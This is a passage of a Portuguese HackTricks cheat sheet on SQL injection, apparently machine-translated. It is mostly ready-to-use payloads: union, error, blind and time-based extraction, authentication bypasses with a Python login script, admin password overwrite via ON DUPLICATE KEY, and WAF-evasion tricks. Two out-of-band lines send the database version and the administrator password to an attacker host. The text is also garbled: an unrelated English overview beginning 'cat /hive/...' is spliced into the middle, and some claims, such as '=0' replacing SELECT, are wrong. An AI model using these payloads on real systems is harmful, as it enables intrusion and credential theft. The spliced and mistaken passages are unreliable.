hacktricks/pentesting-web/sql-injection/README.md
2023-06-06 18:56:34 +00:00

36 KiB
Raw Blame History

Injeção de SQL

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

RootedCON é o evento de segurança cibernética mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e segurança cibernética em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

O que é injeção de SQL?

A injeção de SQL é uma vulnerabilidade de segurança na web que permite a um invasor interferir nas consultas que um aplicativo faz ao seu banco de dados. Geralmente, permite que um invasor visualize dados que normalmente não seria capaz de recuperar. Isso pode incluir dados pertencentes a outros usuários, ou qualquer outro dado que o próprio aplicativo seja capaz de acessar. Em muitos casos, um invasor pode modificar ou excluir esses dados, causando alterações persistentes no conteúdo ou comportamento do aplicativo.
Em algumas situações, um invasor pode escalar um ataque de injeção de SQL para comprometer o servidor subjacente ou outra infraestrutura de back-end, ou realizar um ataque de negação de serviço. (De aqui).

Neste POST, vou supor que encontramos uma possível injeção de SQL e vamos discutir possíveis métodos para confirmar a injeção de SQL, reconhecer o banco de dados e realizar ações.

Detecção do ponto de entrada

Você pode ter encontrado um site que é aparentemente vulnerável à injeção de SQL apenas porque o servidor está se comportando de forma estranha com entradas relacionadas à injeção de SQL. Portanto, a primeira coisa que você precisa fazer é descobrir como injetar dados na consulta sem quebrá-la. Para fazer isso, você primeiro precisa descobrir como escapar do contexto atual.
Estes são alguns exemplos úteis:

 [Nothing]
'
"
`
')
")
`)
'))
"))
`))

Então, você precisa saber como corrigir a consulta para que não haja erros. Para corrigir a consulta, você pode inserir dados para que a consulta anterior aceite os novos dados, ou você pode simplesmente inserir seus dados e adicionar um símbolo de comentário no final.

Observe que se você puder ver mensagens de erro ou detectar diferenças quando uma consulta está funcionando e quando não está, esta fase será mais fácil.

Comentários

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Confirmando com operações lógicas

Uma das melhores maneiras de confirmar uma injeção de SQL é fazendo com que ela execute uma operação lógica e tendo os resultados esperados.
Por exemplo: se o parâmetro GET ?username=Peter retorna o mesmo conteúdo que ?username=Peter' or '1'='1, então você encontrou uma injeção de SQL.

Você também pode aplicar esse conceito a operações matemáticas. Exemplo: Se ?id=1 retorna o mesmo que ?id=2-1, SQLinjection.

page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false

Esta lista de palavras foi criada para tentar confirmar SQLinjections da maneira proposta:

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

Confirmando com Timing

Em alguns casos, você não notará nenhuma mudança na página que está testando. Portanto, uma boa maneira de descobrir injeções de SQL cegas é fazer com que o banco de dados execute ações que terão um impacto no tempo que a página precisa para carregar.
Portanto, vamos concatenar na consulta SQL uma operação que levará muito tempo para ser concluída:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Em alguns casos, as funções de sleep não serão permitidas. Nesses casos, em vez de usar essas funções, você pode fazer com que a consulta execute operações complexas que levarão vários segundos. Exemplos dessas técnicas serão comentados separadamente em cada tecnologia (se houver).

Identificando o Back-end

A melhor maneira de identificar o back-end é tentar executar funções dos diferentes back-ends. Você pode usar as funções de sleep da seção anterior ou estas:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Além disso, se você tiver acesso à saída da consulta, poderá fazer com que ela imprima a versão do banco de dados.

{% hint style="info" %} A seguir, vamos discutir diferentes métodos para explorar diferentes tipos de Injeção de SQL. Usaremos o MySQL como exemplo. {% endhint %}

Identificando com PortSwigger

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

Explorando Baseado em Union

Detectando o número de colunas

Se você puder ver a saída da consulta, esta é a melhor maneira de explorá-la.
Em primeiro lugar, precisamos descobrir o número de colunas que a consulta inicial está retornando. Isso ocorre porque ambas as consultas devem retornar o mesmo número de colunas.
Dois métodos são tipicamente usados para esse propósito:

Order/Group by

Continue incrementando o número até obter uma resposta Falsa. Embora GROUP BY e ORDER BY tenham funcionalidades diferentes no SQL, ambos podem ser usados da mesma maneira para determinar o número de colunas na consulta.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Selecione cada vez mais valores nulos até que a consulta esteja correta:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Você deve usar valores null em alguns casos, já que o tipo das colunas de ambos os lados da consulta devem ser iguais e null é válido em todos os casos.

Extrair nomes de bancos de dados, nomes de tabelas e nomes de colunas

Nos próximos exemplos, vamos recuperar o nome de todos os bancos de dados, o nome da tabela de um banco de dados e os nomes das colunas da tabela:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Existe uma maneira diferente de descobrir esses dados em cada banco de dados diferente, mas a metodologia é sempre a mesma.

Explorando Union Based Oculto

Se você pode ver a saída da consulta, mas não pode alcançar uma injeção baseada em union, está lidando com uma injeção baseada em union oculta.
Nessa situação, você acaba com uma injeção cega. Para transformar a injeção cega em uma baseada em union, você precisa extrair a consulta que está sendo executada no backend.
Você pode fazer isso usando a injeção cega e as tabelas padrão do seu DBMS de destino. Para aprender sobre essas tabelas padrão, leia a documentação do seu DBMS de destino.
Depois de extrair a consulta, você precisa ajustar sua carga útil adequadamente, fechando a consulta original com segurança. Em seguida, anexe uma consulta de união à sua carga útil e comece a explorar a injeção baseada em união recém-obtida.

Artigo completo: https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f

Explorando Error Based

Se por algum motivo você não pode ver a saída da consulta, mas pode ver as mensagens de erro, você pode fazer com que essas mensagens de erro exfiltrem dados do banco de dados.
Seguindo um fluxo semelhante à exploração baseada em Union, você pode conseguir despejar o banco de dados.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Explorando Blind SQLi

Neste caso, você não pode ver os resultados da consulta ou os erros, mas pode distinguir quando a consulta retorna uma resposta verdadeira ou falsa porque há conteúdos diferentes na página.
Nesse caso, você pode abusar desse comportamento para despejar o banco de dados caractere por caractere:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Explorando SQLi Cego por Erro

Este é o mesmo caso que antes, mas em vez de distinguir entre uma resposta verdadeira/falsa da consulta, você pode distinguir entre um erro na consulta SQL ou não (talvez porque o servidor HTTP falhe). Portanto, neste caso, você pode forçar um erro SQL cada vez que adivinhar corretamente o caractere:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Explorando SQLi baseado em tempo

Neste caso, não há nenhuma maneira de distinguir a resposta da consulta com base no contexto da página. Mas, você pode fazer a página levar mais tempo para carregar se o caractere adivinhado estiver correto. Já vimos essa técnica sendo usada antes para confirmar uma vulnerabilidade de SQLi.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Consultas Empilhadas

Você pode usar consultas empilhadas para executar várias consultas em sucessão. Note que enquanto as consultas subsequentes são executadas, os resultados não são retornados para a aplicação. Portanto, essa técnica é principalmente útil em relação a vulnerabilidades cegas onde você pode usar uma segunda consulta para acionar uma pesquisa de DNS, erro condicional ou atraso de tempo.

Oracle não suporta consultas empilhadas. MySQL, Microsoft e PostgreSQL as suportam: CONSULTA-1-AQUI; CONSULTA-2-AQUI

Exploração fora de banda

Se nenhum outro método de exploração funcionou, você pode tentar fazer com que o banco de dados exfiltre as informações para um host externo controlado por você. Por exemplo, por meio de consultas DNS:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Exfiltração de dados fora de banda via XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Exploração Automatizada

Verifique o SQLMap Cheetsheat para explorar uma vulnerabilidade de SQLi com sqlmap.

Informações específicas de tecnologia

Já discutimos todas as maneiras de explorar uma vulnerabilidade de Injeção de SQL. Encontre mais truques dependentes de tecnologia de banco de dados neste livro:

Ou você encontrará muitos truques sobre: MySQL, PostgreSQL, Oracle, MSSQL, SQLite e HQL em https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

Bypass de autenticação

Lista para tentar burlar a funcionalidade de login:

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

Bypass de autenticação (MD5 bruto)

Quando um MD5 bruto é usado, a senha será consultada como uma string simples, não uma string hexadecimal.

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Permitir que um atacante crie uma string com uma declaração true, como ' or 'SOMETHING.

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>

Bypass de Autenticação por Hash

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Lista recomendada:

Você deve usar como nome de usuário cada linha da lista e como senha sempre: Pass1234.
(Esses payloads também estão incluídos na grande lista mencionada no início desta seção)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

GBK Autenticação Bypass

Se ' está sendo escapado, você pode usar %A8%27, e quando ' é escapado, será criado: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Script Python:

import requests
url = "http://example.com/index.php" 
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3') 
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"} 
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url}) 
print r.text

Injeção Poliglota (multicontexto)

Polyglot injection is a technique that allows an attacker to execute different types of SQL injection attacks in a single payload, depending on the context in which the payload is executed. This technique is useful when the attacker is unsure of the database management system being used or when the payload needs to bypass multiple security measures.

A polyglot injection payload is crafted in such a way that it is valid SQL syntax for multiple database management systems. For example, a payload can be crafted to be valid for both MySQL and Microsoft SQL Server. When the payload is executed, the database management system will interpret it as valid SQL syntax and execute the corresponding SQL injection attack.

Polyglot injection payloads can be created using techniques such as conditional statements, inline comments, and string concatenation. These techniques allow the payload to be valid SQL syntax for multiple database management systems.

It is important to note that polyglot injection payloads can be more complex and difficult to craft than traditional SQL injection payloads. However, they can be very effective in bypassing security measures and executing successful SQL injection attacks.

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Instrução Insert

Modificar a senha de um objeto/usuário existente

Para fazer isso, você deve tentar criar um novo objeto com o nome do "objeto principal" (provavelmente admin no caso de usuários) modificando algo:

  • Criar um usuário chamado: AdMIn (letras maiúsculas e minúsculas)
  • Criar um usuário chamado: admin=
  • Ataque de Truncamento SQL (quando há algum tipo de limite de comprimento no nome de usuário ou e-mail) --> Criar usuário com o nome: admin [muitos espaços] a

Ataque de Truncamento SQL

Se o banco de dados for vulnerável e o número máximo de caracteres para o nome de usuário for, por exemplo, 30 e você quiser se passar pelo usuário admin, tente criar um nome de usuário chamado: "admin [30 espaços] a" e qualquer senha.

O banco de dados irá verificar se o nome de usuário introduzido existe dentro do banco de dados. Se não, ele irá cortar o nome de usuário para o número máximo permitido de caracteres (neste caso para: "admin [25 espaços]") e, em seguida, removerá automaticamente todos os espaços no final atualizando dentro do banco de dados o usuário "admin" com a nova senha (algum erro pode aparecer, mas isso não significa que isso não tenha funcionado).

Mais informações: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Observação: Este ataque não funcionará mais como descrito acima nas últimas instalações do MySQL. Embora as comparações ainda ignorem o espaço em branco no final por padrão, tentar inserir uma string que seja mais longa do que o comprimento de um campo resultará em um erro e a inserção falhará. Para obter mais informações sobre isso, verifique https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation__

Verificação baseada em tempo de inserção do MySQL

Adicione tantos ','','' quanto você considerar para sair da declaração VALUES. Se houver um atraso, você tem uma SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

A palavra-chave ON DUPLICATE KEY UPDATE é usada para informar ao MySQL o que fazer quando a aplicação tenta inserir uma linha que já existe na tabela. Podemos usar isso para alterar a senha do administrador por:

Inject using payload:
  attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!

Extrair informações

Criando 2 contas ao mesmo tempo

Ao tentar criar um novo usuário, são necessários um nome de usuário, uma senha e um e-mail:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Usando decimal ou hexadecimal

Com essa técnica, você pode extrair informações criando apenas 1 conta. É importante notar que você não precisa comentar nada.

Usando hex2dec e substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
cat /hive/hacktricks/pentesting-web/sql-injection/README.md

SQL Injection

SQL injection is a code injection technique that might destroy your database. SQL injection is one of the most common web hacking techniques. SQL injection is the placement of malicious code in SQL statements, via web page input.

Basic SQL Injection

Identify the Injection Point

The first step in exploiting a SQL injection is to identify the injection point. This is the location in the web application's code where the user's input is included in an SQL statement.

Determine the Number of Columns

Once you have identified an injection point, you can determine the number of columns in the query by using the ORDER BY clause.

Determine the Type of Columns

After you have determined the number of columns in the query, you can determine the type of each column by using the UNION SELECT statement.

Extract Data

Once you have determined the number and type of columns in the query, you can extract data from the database by using the UNION SELECT statement.

Advanced SQL Injection

Blind SQL Injection

Blind SQL injection is a technique that allows an attacker to retrieve information from a database without knowing the exact syntax of the SQL query.

Time-Based Blind SQL Injection

Time-based blind SQL injection is a technique that allows an attacker to retrieve information from a database by sending a series of SQL queries that cause a time delay in the application's response.

Out-of-Band SQL Injection

Out-of-band SQL injection is a technique that allows an attacker to retrieve information from a database using a different channel than the web application.

SQL Injection Prevention

Prepared Statements

Prepared statements are a technique used to execute the same SQL statement repeatedly with high efficiency.

Parameterized Queries

Parameterized queries are a technique used to execute the same SQL statement repeatedly with high efficiency, while allowing for user input.

Input Validation

Input validation is a technique used to ensure that user input is within the expected range of values.

Escaping

Escaping is a technique used to prevent SQL injection by escaping special characters in user input.

__import__('binascii').unhexlify(hex(215573607263)[2:])

Usando hex e replace (e substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

Injeção SQL roteada

A injeção SQL roteada é uma situação em que a consulta injetável não é aquela que fornece a saída, mas a saída da consulta injetável vai para a consulta que fornece a saída. (Paper)

Exemplo:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

Bypass do WAF

Bypass sem espaços

Sem espaço (%20) - bypass usando alternativas de espaços em branco

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

Sem Espaços em Branco - bypass usando comentários

Às vezes, o filtro de entrada pode ser configurado para remover todos os espaços em branco da entrada. Isso pode ser um problema para injeções de SQL, pois a maioria das palavras-chave do SQL é separada por espaços em branco. No entanto, é possível contornar essa restrição usando comentários.

A sintaxe do comentário em SQL é --. Qualquer coisa após -- será ignorada pelo interpretador SQL. Portanto, podemos usar comentários para separar palavras-chave do SQL que normalmente seriam separadas por espaços em branco.

Por exemplo, em vez de usar a seguinte consulta:

SELECT * FROM users WHERE username='admin' AND password='password'

Podemos usar a seguinte consulta sem espaços em branco:

SELECT/**/*/**/FROM/**/users/**/WHERE/**/username='admin'/**/AND/**/password='password'

Observe que usamos /**/ para separar as palavras-chave do SQL. Isso é interpretado como um comentário pelo interpretador SQL e, portanto, é ignorado.

?id=1/*comment*/and/**/1=1/**/--

Sem Espaços em Branco - bypass usando parênteses

Em alguns casos, o filtro de entrada pode ser projetado para detectar a palavra-chave OR ou AND e, em seguida, bloquear a consulta. No entanto, é possível contornar essa restrição usando parênteses.

Por exemplo, considere a seguinte consulta:

SELECT * FROM users WHERE username='' AND password=''

Se tentarmos injetar a seguinte carga útil:

' OR 1=1--

A consulta resultante seria:

SELECT * FROM users WHERE username='' OR 1=1--' AND password=''

Observe que a consulta resultante é inválida devido à presença do caractere ' no final da carga útil. No entanto, podemos contornar essa restrição usando parênteses:

' OR (1=1)--

A consulta resultante seria:

SELECT * FROM users WHERE username='' OR (1=1)--' AND password=''

Observe que a consulta resultante agora é válida e retornará todas as linhas da tabela users.

?id=(1)and(1)=(1)--

Bypass sem vírgulas

Sem vírgulas - bypass usando OFFSET, FROM e JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Bypasses Genéricos

Lista negra usando palavras-chave - contornar usando maiúsculas/minúsculas

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist usando palavras-chave insensíveis a maiúsculas e minúsculas - contornando usando um operador equivalente

Algumas aplicações usam listas negras (blacklists) para evitar ataques de injeção SQL. Essas listas negras geralmente contêm palavras-chave que são proibidas na entrada do usuário. No entanto, essas listas geralmente são case sensitive, o que significa que as palavras-chave proibidas só são eficazes se forem inseridas com a mesma capitalização que a lista negra.

Para contornar essa restrição, é possível usar um operador equivalente que produza o mesmo resultado que a palavra-chave proibida, mas que não esteja na lista negra. Por exemplo, se a palavra-chave "SELECT" estiver na lista negra, é possível usar o operador equivalente "=0" para produzir o mesmo resultado. A consulta seria algo como:

SELECT * FROM users WHERE username='admin' AND password=''=0;

Isso produziria o mesmo resultado que a consulta original:

SELECT * FROM users WHERE username='admin' AND password='';

No entanto, a palavra-chave "SELECT" não foi usada diretamente na consulta, o que permite contornar a lista negra.

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Notação Científica para Bypass de WAF

Você pode encontrar uma explicação mais detalhada sobre esse truque no blog da gosecure.
Basicamente, você pode usar a notação científica de maneiras inesperadas para contornar o WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Bypassar Restrição de Nomes de Colunas

Em primeiro lugar, observe que se a consulta original e a tabela da qual você deseja extrair a flag tiverem a mesma quantidade de colunas, você pode simplesmente fazer: 0 UNION SELECT * FROM flag

É possível acessar a terceira coluna de uma tabela sem usar seu nome usando uma consulta como a seguinte: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, portanto, em uma injeção de SQL, isso ficaria assim:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Ou usando um bypass de vírgula:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Este truque foi retirado de https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Ferramentas de sugestão de bypass de WAF

{% embed url="https://github.com/m4ll0k/Atlas" %}

Outros guias

Lista de detecção de força bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

RootedCON é o evento de cibersegurança mais relevante na Espanha e um dos mais importantes na Europa. Com a missão de promover o conhecimento técnico, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.

{% embed url="https://www.rootedcon.com/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥